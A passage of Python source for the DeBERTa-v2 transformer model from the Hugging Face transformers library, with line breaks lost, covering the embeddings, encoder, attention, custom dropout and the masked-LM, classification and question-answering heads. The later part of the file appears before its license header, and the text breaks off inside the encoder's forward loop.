self.position_embeddings(position_ids.long()) else: position_embeddings = torch.zeros_like(inputs_embeds) embeddings = inputs_embeds if self.position_biased_input: embeddings += position_embeddings if self.config.type_vocab_size > 0: token_type_embeddings = self.token_type_embeddings(token_type_ids) embeddings += token_type_embeddings if self.embedding_size != self.config.hidden_size: embeddings = self.embed_proj(embeddings) embeddings = self.LayerNorm(embeddings) if mask is not None: if mask.dim() != embeddings.dim(): if mask.dim() == 4: mask = mask.squeeze(1).squeeze(1) mask = mask.unsqueeze(2) mask = mask.to(embeddings.dtype) embeddings = embeddings * mask embeddings = self.dropout(embeddings) return embeddings # Copied from transformers.models.deberta.modeling_deberta.DebertaPreTrainedModel with Deberta->DebertaV2 class DebertaV2PreTrainedModel(PreTrainedModel): """ An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained models. """ config_class = DebertaV2Config base_model_prefix = "deberta" _keys_to_ignore_on_load_missing = ["position_ids"] _keys_to_ignore_on_load_unexpected = ["position_embeddings"] def __init__(self, config): super().__init__(config) self._register_load_state_dict_pre_hook(self._pre_load_hook) def _init_weights(self, module): """Initialize the weights.""" if isinstance(module, nn.Linear): # Slightly different from the TF version which uses truncated_normal for initialization # cf https://github.com/pytorch/pytorch/pull/5617 module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) if module.bias is not None: module.bias.data.zero_() elif isinstance(module, nn.Embedding): module.weight.data.normal_(mean=0.0, std=self.config.initializer_range) if module.padding_idx is not None: module.weight.data[module.padding_idx].zero_() def _pre_load_hook(self, state_dict, prefix, local_metadata, strict, missing_keys, unexpected_keys, error_msgs): """ Removes the classifier if it doesn't have the correct number of labels. """ self_state = self.state_dict() if ( ("classifier.weight" in self_state) and ("classifier.weight" in state_dict) and self_state["classifier.weight"].size() != state_dict["classifier.weight"].size() ): logger.warning( f"The checkpoint classifier head has a shape {state_dict["classifier.weight"].size()} and this model " f"classifier head has a shape {self_state["classifier.weight"].size()}. Ignoring the checkpoint " f"weights. You should train your model on new data." ) del state_dict["classifier.weight"] if "classifier.bias" in state_dict: del state_dict["classifier.bias"] DEBERTA_START_DOCSTRING = r""" The DeBERTa model was proposed in `DeBERTa: Decoding-enhanced BERT with Disentangled Attention <https://arxiv.org/abs/2006.03654>`_ by Pengcheng He, Xiaodong Liu, Jianfeng Gao, Weizhu Chen. It's build on top of BERT/RoBERTa with two improvements, i.e. disentangled attention and enhanced mask decoder. With those two improvements, it out perform BERT/RoBERTa on a majority of tasks with 80GB pretraining data. This model is also a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`__ subclass. Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and behavior.``` Parameters: config (:class:`~transformers.DebertaV2Config`): Model configuration class with all the parameters of the model. Initializing with a config file does not load the weights associated with the model, only the configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model weights. """ DEBERTA_INPUTS_DOCSTRING = r""" Args: input_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`): Indices of input sequence tokens in the vocabulary. Indices can be obtained using :class:`transformers.DebertaV2Tokenizer`. See :func:`transformers.PreTrainedTokenizer.encode` and :func:`transformers.PreTrainedTokenizer.__call__` for details. `What are input IDs? <../glossary.html#input-ids>`__ attention_mask (:obj:`torch.FloatTensor` of shape :obj:`{0}`, `optional`): Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``: - 1 for tokens that are **not masked**, - 0 for tokens that are **masked**. `What are attention masks? <../glossary.html#attention-mask>`__ token_type_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`, `optional`): Segment token indices to indicate first and second portions of the inputs. Indices are selected in ``[0, 1]``: - 0 corresponds to a `sentence A` token, - 1 corresponds to a `sentence B` token. `What are token type IDs? <../glossary.html#token-type-ids>`_ position_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`, `optional`): Indices of positions of each input sequence tokens in the position embeddings. Selected in the range ``[0, config.max_position_embeddings - 1]``. `What are position IDs? <../glossary.html#position-ids>`_ inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`): Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation. This is useful if you want more control over how to convert `input_ids` indices into associated vectors than the model's internal embedding lookup matrix. output_attentions (:obj:`bool`, `optional`): Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned tensors for more detail. output_hidden_states (:obj:`bool`, `optional`): Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for more detail. return_dict (:obj:`bool`, `optional`): Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple. """ @add_start_docstrings( "The bare DeBERTa Model transformer outputting raw hidden-states without any specific head on top.", DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaModel with Deberta->DebertaV2 class DebertaV2Model(DebertaV2PreTrainedModel): def __init__(self, config): super().__init__(config) self.embeddings = DebertaV2Embeddings(config) self.encoder = DebertaV2Encoder(config) self.z_steps = 0 self.config = config self.init_weights() def get_input_embeddings(self): return self.embeddings.word_embeddings def set_input_embeddings(self, new_embeddings): self.embeddings.word_embeddings = new_embeddings def _prune_heads(self, heads_to_prune): """ Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base class PreTrainedModel """ raise NotImplementedError("The prune function is not implemented in DeBERTa model.") @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=SequenceClassifierOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions output_hidden_states = ( output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states ) return_dict = return_dict if return_dict is not None else self.config.use_return_dict if input_ids is not None and inputs_embeds is not None: raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time") elif input_ids is not None: input_shape = input_ids.size() elif inputs_embeds is not None: input_shape = inputs_embeds.size()[:-1] else: raise ValueError("You have to specify either input_ids or inputs_embeds") device = input_ids.device if input_ids is not None else inputs_embeds.device if attention_mask is None: attention_mask = torch.ones(input_shape, device=device) if token_type_ids is None: token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device) embedding_output = self.embeddings( input_ids=input_ids, token_type_ids=token_type_ids, position_ids=position_ids, mask=attention_mask, inputs_embeds=inputs_embeds, ) encoder_outputs = self.encoder( embedding_output, attention_mask, output_hidden_states=True, output_attentions=output_attentions, return_dict=return_dict, ) encoded_layers = encoder_outputs[1] if self.z_steps > 1: hidden_states = encoded_layers[-2] layers = [self.encoder.layer[-1] for _ in range(self.z_steps)] query_states = encoded_layers[-1] rel_embeddings = self.encoder.get_rel_embedding() attention_mask = self.encoder.get_attention_mask(attention_mask) rel_pos = self.encoder.get_rel_pos(embedding_output) for layer in layers[1:]: query_states = layer( hidden_states, attention_mask, return_att=False, query_states=query_states, relative_pos=rel_pos, rel_embeddings=rel_embeddings, ) encoded_layers.append(query_states) sequence_output = encoded_layers[-1] if not return_dict: return (sequence_output,) + encoder_outputs[(1 if output_hidden_states else 2) :] return BaseModelOutput( last_hidden_state=sequence_output, hidden_states=encoder_outputs.hidden_states if output_hidden_states else None, attentions=encoder_outputs.attentions, ) @add_start_docstrings("""DeBERTa Model with a `language modeling` head on top. """, DEBERTA_START_DOCSTRING) # Copied from transformers.models.deberta.modeling_deberta.DebertaForMaskedLM with Deberta->DebertaV2 class DebertaV2ForMaskedLM(DebertaV2PreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] _keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"] def __init__(self, config): super().__init__(config) self.deberta = DebertaV2Model(config) self.cls = DebertaV2OnlyMLMHead(config) self.init_weights() def get_output_embeddings(self): return self.cls.predictions.decoder def set_output_embeddings(self, new_embeddings): self.cls.predictions.decoder = new_embeddings @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=MaskedLMOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`): Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ..., config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored (masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]`` """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] prediction_scores = self.cls(sequence_output) masked_lm_loss = None if labels is not None: loss_fct = CrossEntropyLoss() # -100 index = padding token masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1)) if not return_dict: output = (prediction_scores,) + outputs[1:] return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output return MaskedLMOutput( loss=masked_lm_loss, logits=prediction_scores, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) # copied from transformers.models.bert.BertPredictionHeadTransform with bert -> deberta class DebertaV2PredictionHeadTransform(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.hidden_size, config.hidden_size) if isinstance(config.hidden_act, str): self.transform_act_fn = ACT2FN[config.hidden_act] else: self.transform_act_fn = config.hidden_act self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps) def forward(self, hidden_states): hidden_states = self.dense(hidden_states) hidden_states = self.transform_act_fn(hidden_states) hidden_states = self.LayerNorm(hidden_states) return hidden_states # copied from transformers.models.bert.BertLMPredictionHead with bert -> deberta class DebertaV2LMPredictionHead(nn.Module): def __init__(self, config): super().__init__() self.transform = DebertaV2PredictionHeadTransform(config) # The output weights are the same as the input embeddings, but there is # an output-only bias for each token. self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False) self.bias = nn.Parameter(torch.zeros(config.vocab_size)) # Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings` self.decoder.bias = self.bias def forward(self, hidden_states): hidden_states = self.transform(hidden_states) hidden_states = self.decoder(hidden_states) return hidden_states # copied from transformers.models.bert.BertOnlyMLMHead with bert -> deberta class DebertaV2OnlyMLMHead(nn.Module): def __init__(self, config): super().__init__() self.predictions = DebertaV2LMPredictionHead(config) def forward(self, sequence_output): prediction_scores = self.predictions(sequence_output) return prediction_scores @add_start_docstrings( """ DeBERTa Model transformer with a sequence classification/regression head on top (a linear layer on top of the pooled output) e.g. for GLUE tasks. """, DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaForSequenceClassification with Deberta->DebertaV2 class DebertaV2ForSequenceClassification(DebertaV2PreTrainedModel): def __init__(self, config): super().__init__(config) num_labels = getattr(config, "num_labels", 2) self.num_labels = num_labels self.deberta = DebertaV2Model(config) self.pooler = ContextPooler(config) output_dim = self.pooler.output_dim self.classifier = torch.nn.Linear(output_dim, num_labels) drop_out = getattr(config, "cls_dropout", None) drop_out = self.config.hidden_dropout_prob if drop_out is None else drop_out self.dropout = StableDropout(drop_out) self.init_weights() def get_input_embeddings(self): return self.deberta.get_input_embeddings() def set_input_embeddings(self, new_embeddings): self.deberta.set_input_embeddings(new_embeddings) @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=SequenceClassifierOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`): Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ..., config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss), If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy). """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, token_type_ids=token_type_ids, attention_mask=attention_mask, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) encoder_layer = outputs[0] pooled_output = self.pooler(encoder_layer) pooled_output = self.dropout(pooled_output) logits = self.classifier(pooled_output) loss = None if labels is not None: if self.num_labels == 1: # regression task loss_fn = torch.nn.MSELoss() logits = logits.view(-1).to(labels.dtype) loss = loss_fn(logits, labels.view(-1)) elif labels.dim() == 1 or labels.size(-1) == 1: label_index = (labels >= 0).nonzero() labels = labels.long() if label_index.size(0) > 0: labeled_logits = torch.gather(logits, 0, label_index.expand(label_index.size(0), logits.size(1))) labels = torch.gather(labels, 0, label_index.view(-1)) loss_fct = CrossEntropyLoss() loss = loss_fct(labeled_logits.view(-1, self.num_labels).float(), labels.view(-1)) else: loss = torch.tensor(0).to(logits) else: log_softmax = torch.nn.LogSoftmax(-1) loss = -((log_softmax(logits) * labels).sum(-1)).mean() if not return_dict: output = (logits,) + outputs[1:] return ((loss,) + output) if loss is not None else output else: return SequenceClassifierOutput( loss=loss, logits=logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) @add_start_docstrings( """ DeBERTa Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for Named-Entity-Recognition (NER) tasks. """, DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaForTokenClassification with Deberta->DebertaV2 class DebertaV2ForTokenClassification(DebertaV2PreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] def __init__(self, config): super().__init__(config) self.num_labels = config.num_labels self.deberta = DebertaV2Model(config) self.dropout = nn.Dropout(config.hidden_dropout_prob) self.classifier = nn.Linear(config.hidden_size, config.num_labels) self.init_weights() @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=TokenClassifierOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, labels=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`): Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels - 1]``. """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] sequence_output = self.dropout(sequence_output) logits = self.classifier(sequence_output) loss = None if labels is not None: loss_fct = CrossEntropyLoss() # Only keep active parts of the loss if attention_mask is not None: active_loss = attention_mask.view(-1) == 1 active_logits = logits.view(-1, self.num_labels) active_labels = torch.where( active_loss, labels.view(-1), torch.tensor(loss_fct.ignore_index).type_as(labels) ) loss = loss_fct(active_logits, active_labels) else: loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1)) if not return_dict: output = (logits,) + outputs[1:] return ((loss,) + output) if loss is not None else output return TokenClassifierOutput( loss=loss, logits=logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions, ) @add_start_docstrings( """ DeBERTa Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear layers on top of the hidden-states output to compute `span start logits` and `span end logits`). """, DEBERTA_START_DOCSTRING, ) # Copied from transformers.models.deberta.modeling_deberta.DebertaForQuestionAnswering with Deberta->DebertaV2 class DebertaV2ForQuestionAnswering(DebertaV2PreTrainedModel): _keys_to_ignore_on_load_unexpected = [r"pooler"] def __init__(self, config): super().__init__(config) self.num_labels = config.num_labels self.deberta = DebertaV2Model(config) self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels) self.init_weights() @add_start_docstrings_to_model_forward(DEBERTA_INPUTS_DOCSTRING.format("batch_size, sequence_length")) @add_code_sample_docstrings( tokenizer_class=_TOKENIZER_FOR_DOC, checkpoint=_CHECKPOINT_FOR_DOC, output_type=QuestionAnsweringModelOutput, config_class=_CONFIG_FOR_DOC, ) def forward( self, input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, inputs_embeds=None, start_positions=None, end_positions=None, output_attentions=None, output_hidden_states=None, return_dict=None, ): r""" start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`): Labels for position (index) of the start of the labelled span for computing the token classification loss. Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the sequence are not taken into account for computing the loss. end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`): Labels for position (index) of the end of the labelled span for computing the token classification loss. Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the sequence are not taken into account for computing the loss. """ return_dict = return_dict if return_dict is not None else self.config.use_return_dict outputs = self.deberta( input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, position_ids=position_ids, inputs_embeds=inputs_embeds, output_attentions=output_attentions, output_hidden_states=output_hidden_states, return_dict=return_dict, ) sequence_output = outputs[0] logits = self.qa_outputs(sequence_output) start_logits, end_logits = logits.split(1, dim=-1) start_logits = start_logits.squeeze(-1) end_logits = end_logits.squeeze(-1) total_loss = None if start_positions is not None and end_positions is not None: # If we are on multi-GPU, split add a dimension if len(start_positions.size()) > 1: start_positions = start_positions.squeeze(-1) if len(end_positions.size()) > 1: end_positions = end_positions.squeeze(-1) # sometimes the start/end positions are outside our model inputs, we ignore these terms ignored_index = start_logits.size(1) start_positions.clamp_(0, ignored_index) end_positions.clamp_(0, ignored_index) loss_fct = CrossEntropyLoss(ignore_index=ignored_index) start_loss = loss_fct(start_logits, start_positions) end_loss = loss_fct(end_logits, end_positions) total_loss = (start_loss + end_loss) / 2 if not return_dict: output = (start_logits, end_logits) + outputs[1:] return ((total_loss,) + output) if total_loss is not None else output return QuestionAnsweringModelOutput( loss=total_loss, start_logits=start_logits, end_logits=end_logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions, )
# coding=utf-8 # Copyright 2020 Microsoft and the Hugging Face Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ PyTorch DeBERTa-v2 model. """ import math from collections.abc import Sequence import numpy as np import torch from torch import _softmax_backward_data, nn from torch.nn import CrossEntropyLoss, LayerNorm from ...activations import ACT2FN from ...file_utils import add_code_sample_docstrings, add_start_docstrings, add_start_docstrings_to_model_forward from ...modeling_outputs import ( BaseModelOutput, MaskedLMOutput, QuestionAnsweringModelOutput, SequenceClassifierOutput, TokenClassifierOutput, ) from ...modeling_utils import PreTrainedModel from ...utils import logging from .configuration_deberta_v2 import DebertaV2Config logger = logging.get_logger(__name__) _CONFIG_FOR_DOC = "DebertaV2Config" _TOKENIZER_FOR_DOC = "DebertaV2Tokenizer" _CHECKPOINT_FOR_DOC = "microsoft/deberta-v2-xlarge" DEBERTA_V2_PRETRAINED_MODEL_ARCHIVE_LIST = [ "microsoft/deberta-v2-xlarge", "microsoft/deberta-v2-xxlarge", "microsoft/deberta-v2-xlarge-mnli", "microsoft/deberta-v2-xxlarge-mnli", ] # Copied from transformers.models.deberta.modeling_deberta.ContextPooler class ContextPooler(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.pooler_hidden_size, config.pooler_hidden_size) self.dropout = StableDropout(config.pooler_dropout) self.config = config def forward(self, hidden_states): # We "pool" the model by simply taking the hidden state corresponding # to the first token. context_token = hidden_states[:, 0] context_token = self.dropout(context_token) pooled_output = self.dense(context_token) pooled_output = ACT2FN[self.config.pooler_hidden_act](pooled_output) return pooled_output @property def output_dim(self): return self.config.hidden_size # Copied from transformers.models.deberta.modeling_deberta.XSoftmax with deberta->deberta_v2 class XSoftmax(torch.autograd.Function): """ Masked Softmax which is optimized for saving memory Args: input (:obj:`torch.tensor`): The input tensor that will apply softmax. mask (:obj:`torch.IntTensor`): The mask matrix where 0 indicate that element will be ignored in the softmax calculation. dim (int): The dimension that will apply softmax Example:: >>> import torch >>> from transformers.models.deberta_v2.modeling_deberta_v2 import XSoftmax >>> # Make a tensor >>> x = torch.randn([4,20,100]) >>> # Create a mask >>> mask = (x>0).int() >>> y = XSoftmax.apply(x, mask, dim=-1) """ @staticmethod def forward(self, input, mask, dim): self.dim = dim rmask = ~(mask.bool()) output = input.masked_fill(rmask, float("-inf")) output = torch.softmax(output, self.dim) output.masked_fill_(rmask, 0) self.save_for_backward(output) return output @staticmethod def backward(self, grad_output): (output,) = self.saved_tensors inputGrad = _softmax_backward_data(grad_output, output, self.dim, output) return inputGrad, None, None # Copied from transformers.models.deberta.modeling_deberta.DropoutContext class DropoutContext(object): def __init__(self): self.dropout = 0 self.mask = None self.scale = 1 self.reuse_mask = True # Copied from transformers.models.deberta.modeling_deberta.get_mask def get_mask(input, local_context): if not isinstance(local_context, DropoutContext): dropout = local_context mask = None else: dropout = local_context.dropout dropout *= local_context.scale mask = local_context.mask if local_context.reuse_mask else None if dropout > 0 and mask is None: mask = (1 - torch.empty_like(input).bernoulli_(1 - dropout)).bool() if isinstance(local_context, DropoutContext): if local_context.mask is None: local_context.mask = mask return mask, dropout # Copied from transformers.models.deberta.modeling_deberta.XDropout class XDropout(torch.autograd.Function): """Optimized dropout function to save computation and memory by using mask operation instead of multiplication.""" @staticmethod def forward(ctx, input, local_ctx): mask, dropout = get_mask(input, local_ctx) ctx.scale = 1.0 / (1 - dropout) if dropout > 0: ctx.save_for_backward(mask) return input.masked_fill(mask, 0) * ctx.scale else: return input @staticmethod def backward(ctx, grad_output): if ctx.scale > 1: (mask,) = ctx.saved_tensors return grad_output.masked_fill(mask, 0) * ctx.scale, None else: return grad_output, None # Copied from transformers.models.deberta.modeling_deberta.StableDropout class StableDropout(torch.nn.Module): """ Optimized dropout module for stabilizing the training Args: drop_prob (float): the dropout probabilities """ def __init__(self, drop_prob): super().__init__() self.drop_prob = drop_prob self.count = 0 self.context_stack = None def forward(self, x): """ Call the module Args: x (:obj:`torch.tensor`): The input tensor to apply dropout """ if self.training and self.drop_prob > 0: return XDropout.apply(x, self.get_context()) return x def clear_context(self): self.count = 0 self.context_stack = None def init_context(self, reuse_mask=True, scale=1): if self.context_stack is None: self.context_stack = [] self.count = 0 for c in self.context_stack: c.reuse_mask = reuse_mask c.scale = scale def get_context(self): if self.context_stack is not None: if self.count >= len(self.context_stack): self.context_stack.append(DropoutContext()) ctx = self.context_stack[self.count] ctx.dropout = self.drop_prob self.count += 1 return ctx else: return self.drop_prob # Copied from transformers.models.deberta.modeling_deberta.DebertaSelfOutput with DebertaLayerNorm->LayerNorm class DebertaV2SelfOutput(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.hidden_size, config.hidden_size) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states # Copied from transformers.models.deberta.modeling_deberta.DebertaAttention with Deberta->DebertaV2 class DebertaV2Attention(nn.Module): def __init__(self, config): super().__init__() self.self = DisentangledSelfAttention(config) self.output = DebertaV2SelfOutput(config) self.config = config def forward( self, hidden_states, attention_mask, return_att=False, query_states=None, relative_pos=None, rel_embeddings=None, ): self_output = self.self( hidden_states, attention_mask, return_att, query_states=query_states, relative_pos=relative_pos, rel_embeddings=rel_embeddings, ) if return_att: self_output, att_matrix = self_output if query_states is None: query_states = hidden_states attention_output = self.output(self_output, query_states) if return_att: return (attention_output, att_matrix) else: return attention_output # Copied from transformers.models.bert.modeling_bert.BertIntermediate with Bert->DebertaV2 class DebertaV2Intermediate(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.hidden_size, config.intermediate_size) if isinstance(config.hidden_act, str): self.intermediate_act_fn = ACT2FN[config.hidden_act] else: self.intermediate_act_fn = config.hidden_act def forward(self, hidden_states): hidden_states = self.dense(hidden_states) hidden_states = self.intermediate_act_fn(hidden_states) return hidden_states # Copied from transformers.models.deberta.modeling_deberta.DebertaOutput with DebertaLayerNorm->LayerNorm class DebertaV2Output(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.intermediate_size, config.hidden_size) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) self.config = config def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states # Copied from transformers.models.deberta.modeling_deberta.DebertaLayer with Deberta->DebertaV2 class DebertaV2Layer(nn.Module): def __init__(self, config): super().__init__() self.attention = DebertaV2Attention(config) self.intermediate = DebertaV2Intermediate(config) self.output = DebertaV2Output(config) def forward( self, hidden_states, attention_mask, return_att=False, query_states=None, relative_pos=None, rel_embeddings=None, ): attention_output = self.attention( hidden_states, attention_mask, return_att=return_att, query_states=query_states, relative_pos=relative_pos, rel_embeddings=rel_embeddings, ) if return_att: attention_output, att_matrix = attention_output intermediate_output = self.intermediate(attention_output) layer_output = self.output(intermediate_output, attention_output) if return_att: return (layer_output, att_matrix) else: return layer_output class ConvLayer(nn.Module): def __init__(self, config): super().__init__() kernel_size = getattr(config, "conv_kernel_size", 3) groups = getattr(config, "conv_groups", 1) self.conv_act = getattr(config, "conv_act", "tanh") self.conv = torch.nn.Conv1d( config.hidden_size, config.hidden_size, kernel_size, padding=(kernel_size - 1) // 2, groups=groups ) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) self.config = config def forward(self, hidden_states, residual_states, input_mask): out = self.conv(hidden_states.permute(0, 2, 1).contiguous()).permute(0, 2, 1).contiguous() rmask = (1 - input_mask).bool() out.masked_fill_(rmask.unsqueeze(-1).expand(out.size()), 0) out = ACT2FN[self.conv_act](self.dropout(out)) layer_norm_input = residual_states + out output = self.LayerNorm(layer_norm_input).to(layer_norm_input) if input_mask is None: output_states = output else: if input_mask.dim() != layer_norm_input.dim(): if input_mask.dim() == 4: input_mask = input_mask.squeeze(1).squeeze(1) input_mask = input_mask.unsqueeze(2) input_mask = input_mask.to(output.dtype) output_states = output * input_mask return output_states class DebertaV2Encoder(nn.Module): """Modified BertEncoder with relative position bias support""" def __init__(self, config): super().__init__() self.layer = nn.ModuleList([DebertaV2Layer(config) for _ in range(config.num_hidden_layers)]) self.relative_attention = getattr(config, "relative_attention", False) if self.relative_attention: self.max_relative_positions = getattr(config, "max_relative_positions", -1) if self.max_relative_positions < 1: self.max_relative_positions = config.max_position_embeddings self.position_buckets = getattr(config, "position_buckets", -1) pos_ebd_size = self.max_relative_positions * 2 if self.position_buckets > 0: pos_ebd_size = self.position_buckets * 2 self.rel_embeddings = nn.Embedding(pos_ebd_size, config.hidden_size) self.norm_rel_ebd = [x.strip() for x in getattr(config, "norm_rel_ebd", "none").lower().split("|")] if "layer_norm" in self.norm_rel_ebd: self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps, elementwise_affine=True) self.conv = ConvLayer(config) if getattr(config, "conv_kernel_size", 0) > 0 else None def get_rel_embedding(self): rel_embeddings = self.rel_embeddings.weight if self.relative_attention else None if rel_embeddings is not None and ("layer_norm" in self.norm_rel_ebd): rel_embeddings = self.LayerNorm(rel_embeddings) return rel_embeddings def get_attention_mask(self, attention_mask): if attention_mask.dim() <= 2: extended_attention_mask = attention_mask.unsqueeze(1).unsqueeze(2) attention_mask = extended_attention_mask * extended_attention_mask.squeeze(-2).unsqueeze(-1) attention_mask = attention_mask.byte() elif attention_mask.dim() == 3: attention_mask = attention_mask.unsqueeze(1) return attention_mask def get_rel_pos(self, hidden_states, query_states=None, relative_pos=None): if self.relative_attention and relative_pos is None: q = query_states.size(-2) if query_states is not None else hidden_states.size(-2) relative_pos = build_relative_position( q, hidden_states.size(-2), bucket_size=self.position_buckets, max_position=self.max_relative_positions ) return relative_pos def forward( self, hidden_states, attention_mask, output_hidden_states=True, output_attentions=False, query_states=None, relative_pos=None, return_dict=True, ): if attention_mask.dim() <= 2: input_mask = attention_mask else: input_mask = (attention_mask.sum(-2) > 0).byte() attention_mask = self.get_attention_mask(attention_mask) relative_pos = self.get_rel_pos(hidden_states, query_states, relative_pos) all_hidden_states = () if output_hidden_states else None all_attentions = () if output_attentions else None if isinstance(hidden_states, Sequence): next_kv = hidden_states[0] else: next_kv = hidden_states rel_embeddings = self.get_rel_embedding() output_states = next_kv for i, layer_module in 